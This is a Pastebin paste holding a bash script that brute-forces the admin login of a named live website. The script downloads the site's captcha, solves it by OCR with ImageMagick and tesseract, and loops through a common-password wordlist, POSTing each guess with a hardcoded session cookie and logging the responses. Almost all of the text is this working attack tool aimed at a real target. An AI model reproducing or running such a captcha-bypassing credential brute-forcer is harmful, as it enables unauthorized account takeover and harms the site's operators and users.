Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- get_captcha()
- {
- curl -X GET "http://docs.linkedme.cc/server/index.php?s=/api/common/verify&rand=0.08569480773985805&rand=0.6010009123265933&rand=0.43577766433542575" > captcha.png
- ./magick convert captcha.png -colorspace gray -threshold 50% captcha-1.png
- tesseract captcha-1.png - | sed 's/[^0-9]//g' > test.txt
- }
- brute_login()
- {
- while read line;do
- {
- get_captcha
- c=$(head -1 test.txt)
- echo $c
- H="Host: docs.linkedme.cc"
- #U="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
- U="User-Agent: curl/7.65.3"
- A="Accept: application/json, text/plain, */*"
- AL="Accept-Language: en-US,en;q=0.5"
- AE="Accept-Encoding: gzip, deflate"
- R="Referer: http://docs.linkedme.cc/web/"
- CT="Content-Type: application/x-www-form-urlencoded;charset=utf-8"
- CL="Content-Length: 73"
- CC="Connection: close"
- cookie="Cookie: think_language=en-US; PHPSESSID=d0160c581ad953e9d305f2ffa5833195"
- db="username=admin&password=$line&v_code=$c"
- url="http://docs.linkedme.cc/server/index.php?s=/api/user/login"
- curl -vs -i -s -k -X POST -H '$H' -H '$U' -H '$A' -H '$AL' -H '$AE' -H '$R' -H '$CT' -H '$CL' -H '$CC' -H '$cookie' -b $'think_language=en-US; PHPSESSID=d0160c581ad953e9d305f2ffa5833195' -H '$db' $url -o curl_response.txt
- echo "$(tail -1 curl_response.txt ),$db" >> response_pure.txt
- }
- done < Most-Popular-Letter-Passes.txt
- }
- if [ $1 == "-b" ];then
- brute_login
- exit
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement